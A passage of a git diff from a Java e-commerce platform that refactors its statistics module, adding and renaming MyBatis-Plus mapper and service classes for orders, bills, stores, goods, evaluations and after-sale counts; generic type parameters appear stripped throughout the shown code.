${ew.customSqlSegment}") + Bill getRefundBill(@Param(Constants.WRAPPER) QueryWrapper queryWrapper); +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/DistributionCashStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/DistributionCashStatisticsMapper.java new file mode 100644 index 00000000..4506aeb3 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/DistributionCashStatisticsMapper.java @@ -0,0 +1,14 @@ +package cn.lili.modules.statistics.mapper; + +import cn.lili.modules.distribution.entity.dos.DistributionCash; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +/** + * 分销佣金数据统计 + * + * @author pikachu + * @since 2020-03-26 18:45:56 + */ +public interface DistributionCashStatisticsMapper extends BaseMapper { + +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/GoodsStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/GoodsStatisticsMapper.java new file mode 100644 index 00000000..e89d3b74 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/GoodsStatisticsMapper.java @@ -0,0 +1,24 @@ +package cn.lili.modules.statistics.mapper; + +import cn.lili.modules.goods.entity.dos.Goods; +import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.statistics.entity.vo.CategoryStatisticsDataVO; +import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import org.apache.ibatis.annotations.Param; +import org.apache.ibatis.annotations.Select; + +import java.util.List; + +/** + * 商品统计数据处理层 + * + * @author Bulbasaur + * @since 2020/11/17 7:34 下午 + */ +public interface GoodsStatisticsMapper extends BaseMapper { + +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberEvaluationStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberEvaluationStatisticsMapper.java new file mode 100644 index 00000000..4fe62595 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberEvaluationStatisticsMapper.java @@ -0,0 +1,64 @@ +package cn.lili.modules.statistics.mapper; + +import cn.lili.modules.member.entity.dos.MemberEvaluation; +import cn.lili.modules.member.entity.vo.MemberEvaluationListVO; +import cn.lili.modules.member.entity.vo.StoreRatingVO; +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import org.apache.ibatis.annotations.Param; +import org.apache.ibatis.annotations.Select; + +import java.util.List; +import java.util.Map; + +/** + * 会员商品评价数据处理层 + * + * @author Bulbasaur + * @since 2020-02-25 14:10:16 + */ +public interface MemberEvaluationStatisticsMapper extends BaseMapper { + + + /** + * 会员评价分页 + * + * @param page 分页 + * @param queryWrapper 查询条件 + * @return 会员评价分页 + */ + @Select("select me.* from li_member_evaluation as me ${ew.customSqlSegment}") + IPage getMemberEvaluationList(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 评价数量 + * + * @param goodsId 商品ID + * @return 会员评价 + */ + @Select("select grade,count(1) as num from li_member_evaluation Where goods_id=#{goodsId} and status='OPEN' GROUP BY grade") + List> getEvaluationNumber(String goodsId); + + /** + * 获取店铺评分 + * + * @param queryWrapper 查询条件 + * @return 店铺评分 + */ + @Select("SELECT round( AVG( delivery_score ), 2 ) AS delivery_score" + + ",round( AVG( description_score ), 2 ) AS description_score" + + ",round( AVG( service_score ), 2 ) AS service_score " + + "FROM li_member_evaluation ${ew.customSqlSegment}") + StoreRatingVO getStoreRatingVO(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 商品会员评价数量 + * + * @param queryWrapper 查询条件 + * @return 评价数量 + */ + @Select("SELECT goods_id,COUNT(goods_id) AS num FROM li_member_evaluation GROUP BY goods_id") + List> memberEvaluationNum(@Param(Constants.WRAPPER) Wrapper queryWrapper); +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsDataMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java similarity index 89% rename from framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsDataMapper.java rename to framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java index 685fd906..37b0d782 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsDataMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java @@ -13,7 +13,7 @@ import org.apache.ibatis.annotations.Select; * @author Bulbasaur * @since 2020/11/17 7:34 下午 */ -public interface MemberStatisticsDataMapper extends BaseMapper { +public interface MemberStatisticsMapper extends BaseMapper { /** * 获取会员统计数量 diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderComplaintStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderComplaintStatisticsMapper.java new file mode 100644 index 00000000..0b1d1637 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderComplaintStatisticsMapper.java @@ -0,0 +1,13 @@ +package cn.lili.modules.statistics.mapper; + +import cn.lili.modules.order.order.entity.dos.OrderComplaint; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +/** + * 订单投诉数据处理层 + * + * @author paulG + * @since 2020/12/5 + **/ +public interface OrderComplaintStatisticsMapper extends BaseMapper { +} diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsDataMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsDataMapper.java rename to framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java index 69948a49..f8e42a5d 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsDataMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java @@ -16,7 +16,7 @@ import java.util.List; * @author Bulbasaur * @since 2020/11/17 7:34 下午 */ -public interface OrderStatisticsDataMapper extends BaseMapper { +public interface OrderStatisticsMapper extends BaseMapper { /** * 获取订单统计数据 diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/PlatformViewDataMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/PlatformViewMapper.java similarity index 90% rename from framework/src/main/java/cn/lili/modules/statistics/mapper/PlatformViewDataMapper.java rename to framework/src/main/java/cn/lili/modules/statistics/mapper/PlatformViewMapper.java index 3109b05f..6eeea405 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/PlatformViewDataMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/PlatformViewMapper.java @@ -13,7 +13,7 @@ import org.apache.ibatis.annotations.Select; * @author Bulbasaur * @since 2020/11/17 7:34 下午 */ -public interface PlatformViewDataMapper extends BaseMapper { +public interface PlatformViewMapper extends BaseMapper { /** * UV流量统计 * diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/RefundOrderStatisticsDataMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/RefundOrderStatisticsMapper.java similarity index 92% rename from framework/src/main/java/cn/lili/modules/statistics/mapper/RefundOrderStatisticsDataMapper.java rename to framework/src/main/java/cn/lili/modules/statistics/mapper/RefundOrderStatisticsMapper.java index e4843c19..035a0fb3 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/RefundOrderStatisticsDataMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/RefundOrderStatisticsMapper.java @@ -15,7 +15,7 @@ import org.apache.ibatis.annotations.Select; * @author Bulbasaur * @since 2020/12/10 11:22 */ -public interface RefundOrderStatisticsDataMapper extends BaseMapper { +public interface RefundOrderStatisticsMapper extends BaseMapper { /** * 退款统计 diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/SeckillStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/SeckillStatisticsMapper.java new file mode 100644 index 00000000..fad7e290 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/SeckillStatisticsMapper.java @@ -0,0 +1,14 @@ +package cn.lili.modules.statistics.mapper; + +import cn.lili.modules.promotion.entity.dos.Seckill; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import org.apache.ibatis.annotations.Update; + +/** + * 秒杀活动统计 + * + * @author Chopper + * @since 2020/8/21 + */ +public interface SeckillStatisticsMapper extends BaseMapper { +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/GoodsStatisticsDataMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/StoreFlowStatisticsMapper.java similarity index 71% rename from framework/src/main/java/cn/lili/modules/statistics/mapper/GoodsStatisticsDataMapper.java rename to framework/src/main/java/cn/lili/modules/statistics/mapper/StoreFlowStatisticsMapper.java index 226e253d..55496565 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/GoodsStatisticsDataMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/StoreFlowStatisticsMapper.java @@ -3,6 +3,7 @@ package cn.lili.modules.statistics.mapper; import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.statistics.entity.vo.CategoryStatisticsDataVO; import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; +import cn.lili.modules.statistics.entity.vo.StoreStatisticsDataVO; import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -18,7 +19,7 @@ import java.util.List; * @author Bulbasaur * @since 2020/11/17 7:34 下午 */ -public interface GoodsStatisticsDataMapper extends BaseMapper { +public interface StoreFlowStatisticsMapper extends BaseMapper { /** * 商品统计 @@ -38,4 +39,17 @@ public interface GoodsStatisticsDataMapper extends BaseMapper { */ @Select("SELECT category_id,category_name,SUM(price) AS price,SUM(num) AS num FROM li_store_flow ${ew.customSqlSegment}") List getCateGoryStatisticsData(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + + + /** + * 店铺统计列表 + * + * @param page 分页 + * @param queryWrapper 查询参数 + * @return 店铺统计列表 + */ + @Select("SELECT store_id AS storeId,store_name AS storeName,SUM(final_price) AS price,SUM(num) AS num FROM li_store_flow ${ew.customSqlSegment}") + List getStoreStatisticsData(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/StoreStatisticsDataMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/StoreStatisticsMapper.java similarity index 55% rename from framework/src/main/java/cn/lili/modules/statistics/mapper/StoreStatisticsDataMapper.java rename to framework/src/main/java/cn/lili/modules/statistics/mapper/StoreStatisticsMapper.java index 825bbd83..e00ab752 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/StoreStatisticsDataMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/StoreStatisticsMapper.java @@ -3,6 +3,7 @@ package cn.lili.modules.statistics.mapper; import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; import cn.lili.modules.statistics.entity.vo.StoreStatisticsDataVO; +import cn.lili.modules.store.entity.dos.Store; import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -18,16 +19,6 @@ import java.util.List; * @author Bulbasaur * @since 2020/11/17 7:34 下午 */ -public interface StoreStatisticsDataMapper extends BaseMapper { - - /** - * 店铺统计列表 - * - * @param page 分页 - * @param queryWrapper 查询参数 - * @return 店铺统计列表 - */ - @Select("SELECT store_id AS storeId,store_name AS storeName,SUM(final_price) AS price,SUM(num) AS num FROM li_store_flow ${ew.customSqlSegment}") - List getStoreStatisticsData(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); +public interface StoreStatisticsMapper extends BaseMapper { } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java new file mode 100644 index 00000000..1ff782f4 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java @@ -0,0 +1,24 @@ +package cn.lili.modules.statistics.service; + +import cn.lili.modules.goods.entity.dos.Goods; +import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; +import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import com.baomidou.mybatisplus.extension.service.IService; + +/** + * 售后统计业务层 + * + * @author Bulbasaur + * @since 2020/12/9 11:06 + */ +public interface AfterSaleStatisticsService extends IService { + + /** + * 获取待处理售后数量 + * + * @param serviceType 售后类型 + * @return 待处理售后数量 + */ + Integer applyNum(String serviceType); +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java new file mode 100644 index 00000000..12dc07a8 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java @@ -0,0 +1,30 @@ +package cn.lili.modules.statistics.service; + +import cn.hutool.core.date.DateTime; +import cn.lili.modules.store.entity.dos.Bill; +import cn.lili.modules.store.entity.dto.BillSearchParams; +import cn.lili.modules.store.entity.enums.BillStatusEnum; +import cn.lili.modules.store.entity.vos.BillListVO; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.service.IService; +import org.springframework.cache.annotation.CacheConfig; + +import javax.servlet.http.HttpServletResponse; +import java.util.Date; + +/** + * 结算单统计 + * + * @author Chopper + * @since 2020/11/17 4:28 下午 + */ +public interface BillStatisticsService extends IService { + + /** + * 商家待结算数量 + * + * @param billStatusEnum 结算单类型 + * @return 待结算商家数量 + */ + Integer billNum(BillStatusEnum billStatusEnum); +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java new file mode 100644 index 00000000..07983278 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java @@ -0,0 +1,25 @@ +package cn.lili.modules.statistics.service; + +import cn.lili.common.vo.PageVO; +import cn.lili.modules.distribution.entity.dos.DistributionCash; +import cn.lili.modules.distribution.entity.vos.DistributionCashSearchParams; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.service.IService; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestParam; + +/** + * 分销佣金统计 + * + * @author pikachu + * @since 2020-03-14 23:04:56 + */ +public interface DistributionCashStatisticsService extends IService { + + /** + * 待处理分销员提现申请数量 + * + * @return 待处理分销员提现申请数量 + */ + Integer newDistributionCash(); +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsService.java new file mode 100644 index 00000000..925a6683 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsService.java @@ -0,0 +1,37 @@ +package cn.lili.modules.statistics.service; + +import cn.lili.modules.goods.entity.dos.Goods; +import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; +import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; +import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; +import cn.lili.modules.statistics.entity.vo.CategoryStatisticsDataVO; +import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; +import com.baomidou.mybatisplus.extension.service.IService; + +import java.util.List; + +/** + * 商品统计业务层 + * + * @author Bulbasaur + * @since 2020/12/9 11:06 + */ +public interface GoodsStatisticsService extends IService { + + /** + * 获取所有的已上架的商品数量 + * + * @param goodsAuthEnum 商品审核枚举 + * @param goodsStatusEnum 商品状态枚举 + * @return 所有的已上架的商品数量 + */ + Integer goodsNum(GoodsStatusEnum goodsStatusEnum, GoodsAuthEnum goodsAuthEnum); + + /** + * 获取今天的已上架的商品数量 + * + * @return 今天的已上架的商品数量 + */ + Integer todayUpperNum(); +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java new file mode 100644 index 00000000..8efb56f2 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java @@ -0,0 +1,34 @@ +package cn.lili.modules.statistics.service; + +import cn.lili.modules.member.entity.dos.MemberEvaluation; +import cn.lili.modules.member.entity.dto.EvaluationQueryParams; +import cn.lili.modules.member.entity.dto.MemberEvaluationDTO; +import cn.lili.modules.member.entity.vo.EvaluationNumberVO; +import cn.lili.modules.member.entity.vo.MemberEvaluationListVO; +import cn.lili.modules.member.entity.vo.MemberEvaluationVO; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.service.IService; + +/** + * 会员商品评价统计 + * + * @author Bulbasaur + * @since 2020-02-25 14:10:16 + */ +public interface MemberEvaluationStatisticsService extends IService { + + /** + * 获取今天新增的评价数量 + * + * @return 今日评价数量 + */ + Integer todayMemberEvaluation(); + + /** + * 获取等待回复评价数量 + * + * @return 等待回复评价数量 + */ + Integer getWaitReplyNum(); + +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsDataService.java b/framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsService.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsDataService.java rename to framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsService.java index 5cfb280f..0f96bb73 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsDataService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsService.java @@ -13,7 +13,7 @@ import java.util.List; * @author Bulbasaur * @since 2020/12/9 11:06 */ -public interface MemberStatisticsDataService extends IService { +public interface MemberStatisticsService extends IService { /** * 获取会员数量 diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/OrderComplaintStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/OrderComplaintStatisticsService.java new file mode 100644 index 00000000..16a896fe --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/service/OrderComplaintStatisticsService.java @@ -0,0 +1,20 @@ +package cn.lili.modules.statistics.service; + +import cn.lili.modules.order.order.entity.dos.OrderComplaint; +import com.baomidou.mybatisplus.extension.service.IService; + +/** + * 交易投诉统计 + * + * @author paulG + * @since 2020/12/4 + **/ +public interface OrderComplaintStatisticsService extends IService { + + /** + * 待处理投诉数量 + * + * @return 待处理投诉数量 + */ + Integer waitComplainNum(); +} diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsDataService.java b/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java similarity index 94% rename from framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsDataService.java rename to framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java index cdc192f5..dc93ef7e 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsDataService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java @@ -15,7 +15,7 @@ import java.util.Map; * @author Bulbasaur * @since 2020/12/9 11:06 */ -public interface OrderStatisticsDataService extends IService { +public interface OrderStatisticsService extends IService { /** * 订单统计概览 diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/PlatformViewDataService.java b/framework/src/main/java/cn/lili/modules/statistics/service/PlatformViewService.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/statistics/service/PlatformViewDataService.java rename to framework/src/main/java/cn/lili/modules/statistics/service/PlatformViewService.java index 526ccdb4..789cb119 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/PlatformViewDataService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/PlatformViewService.java @@ -15,7 +15,7 @@ import java.util.List; * @author Bulbasaur * @since 2020/12/9 11:06 */ -public interface PlatformViewDataService extends IService { +public interface PlatformViewService extends IService { /** diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java new file mode 100644 index 00000000..68cb51f0 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/service/SeckillStatisticsService.java @@ -0,0 +1,26 @@ +package cn.lili.modules.statistics.service; + +import cn.lili.common.vo.PageVO; +import cn.lili.modules.promotion.entity.dos.Seckill; +import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; +import cn.lili.modules.promotion.entity.vos.SeckillVO; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.service.IService; + +/** + * 秒杀统计 + * + * @author Chopper + * @since 2020/11/18 9:45 上午 + */ +public interface SeckillStatisticsService extends IService { + + + /** + * 获取当前可参与的活动数量 + * + * @return 可参与活动数量 + */ + Integer getApplyNum(); + +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsDataService.java b/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java similarity index 61% rename from framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsDataService.java rename to framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java index 0752a97c..6fa7c491 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/GoodsStatisticsDataService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/StoreFlowStatisticsService.java @@ -1,20 +1,26 @@ package cn.lili.modules.statistics.service; +import cn.lili.modules.goods.entity.dos.Goods; +import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; +import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.CategoryStatisticsDataVO; import cn.lili.modules.statistics.entity.vo.GoodsStatisticsDataVO; +import cn.lili.modules.statistics.entity.vo.StoreStatisticsDataVO; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; /** - * 商品统计业务层 + * 流水统计业务层 * * @author Bulbasaur * @since 2020/12/9 11:06 */ -public interface GoodsStatisticsDataService extends IService { +public interface StoreFlowStatisticsService extends IService { /** * 查询热卖商品 @@ -35,4 +41,11 @@ public interface GoodsStatisticsDataService extends IService { */ List getCategoryStatisticsData(GoodsStatisticsQueryParam goodsStatisticsQueryParam); + /** + * 店铺流水 根据店铺 统计 + * @param page + * @param queryWrapper + * @return + */ + List getStoreStatisticsData(Page page, QueryWrapper queryWrapper); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/StoreStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/StoreStatisticsService.java new file mode 100644 index 00000000..6fa3af61 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/service/StoreStatisticsService.java @@ -0,0 +1,37 @@ +package cn.lili.modules.statistics.service; + +import cn.lili.modules.goods.entity.dos.Goods; +import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; +import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; +import cn.lili.modules.store.entity.dos.Store; +import com.baomidou.mybatisplus.extension.service.IService; + +/** + * 店铺统计业务层 + * + * @author Bulbasaur + * @since 2020/12/9 11:06 + */ +public interface StoreStatisticsService extends IService { + + /** + * 获取待审核店铺数量 + * + * @return 待审核店铺数量 + */ + Integer auditNum(); + + /** + * 获取所有店铺数量 + * + * @return 店铺总数 + */ + Integer storeNum(); + + /** + * 获取今天的店铺数量 + * + * @return 今天的店铺数量 + */ + Integer todayStoreNum(); +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java new file mode 100644 index 00000000..43d7599e --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/AfterSaleStatisticsServiceImpl.java @@ -0,0 +1,38 @@ +package cn.lili.modules.statistics.serviceimpl; + +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.common.security.AuthUser; +import cn.lili.common.security.context.UserContext; +import cn.lili.common.security.enums.UserEnums; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import cn.lili.modules.order.trade.entity.enums.AfterSaleStatusEnum; +import cn.lili.modules.statistics.mapper.AfterSaleStatisticsMapper; +import cn.lili.modules.statistics.service.AfterSaleStatisticsService; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.springframework.stereotype.Service; + +import java.util.Objects; + +/** + * 售后统计业务层实现 + * + * @author Bulbasaur + * @since 2020/12/9 11:30 + */ +@Service +public class AfterSaleStatisticsServiceImpl extends ServiceImpl implements AfterSaleStatisticsService { + + + @Override + public Integer applyNum(String serviceType) { + AuthUser authUser = Objects.requireNonNull(UserContext.getCurrentUser()); + LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); + queryWrapper.eq(AfterSale::getServiceStatus, AfterSaleStatusEnum.APPLY.name()); + queryWrapper.eq(CharSequenceUtil.isNotEmpty(serviceType), AfterSale::getServiceType, serviceType); + queryWrapper.eq(CharSequenceUtil.equals(authUser.getRole().name(), UserEnums.STORE.name()), + AfterSale::getStoreId, authUser.getStoreId()); + return this.count(queryWrapper); + } +} diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java new file mode 100644 index 00000000..5af8f636 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java @@ -0,0 +1,69 @@ +package cn.lili.modules.statistics.serviceimpl; + +import cn.hutool.core.date.DateTime; +import cn.hutool.core.date.DateUtil; +import cn.hutool.core.io.IoUtil; +import cn.hutool.poi.excel.ExcelUtil; +import cn.hutool.poi.excel.ExcelWriter; +import cn.lili.common.enums.ResultCode; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.security.context.UserContext; +import cn.lili.common.security.enums.UserEnums; +import cn.lili.common.utils.CurrencyUtil; +import cn.lili.common.utils.SnowFlake; +import cn.lili.common.utils.StringUtils; +import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; +import cn.lili.modules.order.order.service.StoreFlowService; +import cn.lili.modules.statistics.mapper.BillStatisticsMapper; +import cn.lili.modules.statistics.service.BillStatisticsService; +import cn.lili.modules.store.entity.dos.Bill; +import cn.lili.modules.store.entity.dto.BillSearchParams; +import cn.lili.modules.store.entity.enums.BillStatusEnum; +import cn.lili.modules.store.entity.vos.BillListVO; +import cn.lili.modules.store.entity.vos.StoreDetailVO; +import cn.lili.modules.store.entity.vos.StoreFlowPayDownloadVO; +import cn.lili.modules.store.entity.vos.StoreFlowRefundDownloadVO; +import cn.lili.modules.store.mapper.BillMapper; +import cn.lili.modules.store.service.BillService; +import cn.lili.modules.store.service.StoreDetailService; +import cn.lili.mybatis.util.PageUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Propagation; +import org.springframework.transaction.annotation.Transactional; + +import javax.servlet.ServletOutputStream; +import javax.servlet.http.HttpServletResponse; +import java.net.URLEncoder; +import java.util.Date; +import java.util.List; + +/** + * 结算单统计 + * + * @author Chopper + * @since 2020/11/17 4:28 下午 + */ +@Service +@Transactional(rollbackFor = Exception.class) +public class BillStatisticsServiceImpl extends ServiceImpl implements BillStatisticsService { + + + @Override + public Integer billNum(BillStatusEnum billStatusEnum) { + LambdaUpdateWrapper lambdaUpdateWrapper = Wrappers.lambdaUpdate(); + lambdaUpdateWrapper.eq(Bill::getBillStatus, billStatusEnum.name()); + lambdaUpdateWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), + Bill::getStoreId, UserContext.getCurrentUser().getStoreId()); + return this.count(lambdaUpdateWrapper); + } + + +} diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java new file 